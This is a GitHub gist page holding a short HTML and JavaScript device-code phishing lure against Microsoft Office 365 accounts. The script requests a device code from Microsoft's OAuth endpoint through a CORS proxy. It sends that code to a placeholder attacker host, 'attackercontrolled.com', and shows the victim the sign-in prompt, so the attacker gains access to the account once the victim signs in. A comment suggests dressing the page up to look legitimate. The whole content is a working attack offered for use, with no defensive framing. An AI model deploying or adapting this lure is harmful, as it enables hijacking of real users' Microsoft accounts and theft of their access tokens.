Skip to content

Instantly share code, notes, and snippets.

@rvrsh3ll
Forked from Mr-Un1k0d3r/generate.html
Created August 1, 2022 01:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rvrsh3ll/3d389971f5614874c1aa005bc3164b97 to your computer and use it in GitHub Desktop.
Save rvrsh3ll/3d389971f5614874c1aa005bc3164b97 to your computer and use it in GitHub Desktop.
office device code phishing
<!-- This page can be formatted to look like something more interesting -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
$.get("https://cors-anywhere.herokuapp.com/https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.windows.net").done(function(data) {
$.get("https://attackercontrolled.com/?id=" + data.device_code);
document.write(data.message);
});
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment